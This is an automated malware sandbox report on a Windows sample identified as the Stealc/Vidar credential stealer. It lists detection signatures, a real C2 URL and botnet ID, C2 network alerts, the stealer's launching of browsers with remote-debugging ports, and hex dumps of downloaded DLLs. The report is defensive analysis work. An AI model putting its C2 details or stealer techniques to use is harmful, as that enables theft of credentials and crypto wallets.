Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544264
MD5:	2dc6f0117069ab5503a72d67e7575915
SHA1:	8034670a04be0ac148c683fa4dc5d84542a60754
SHA256:	7646042bf2f3495ce93fb8093168db24f777fe579395a2e08e32380b5082c1a3
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1996 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2DC6F0117069AB5503A72D67E7575915)

chrome.exe (PID: 4012 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5532 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2296,i,8722204721377479828,3000916601433608745,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7968 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7236 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2456,i,13850268372312283209,17815345528296934824,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7552 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6328 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=1120 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2517335011.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2053623666.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1996	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1996	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1996	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.dd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1996, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4012, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:02.003879+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:01.900072+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:02.280088+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:03.402743+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:02.288507+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:01.543883+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T06:59:04.081814+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T06:59:35.882766+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:37.153425+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:37.934918+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:38.621456+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:40.282952+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP
2024-10-29T06:59:40.718198+0100	2803304	3	Unknown Traffic	192.168.2.5	49888	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.dd0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.dd0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 42%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5B6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49971 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.5:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50023 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2547186072.000000006CB01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2053623666.0000000004ECB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2547186072.000000006CB01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2053623666.0000000004ECB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 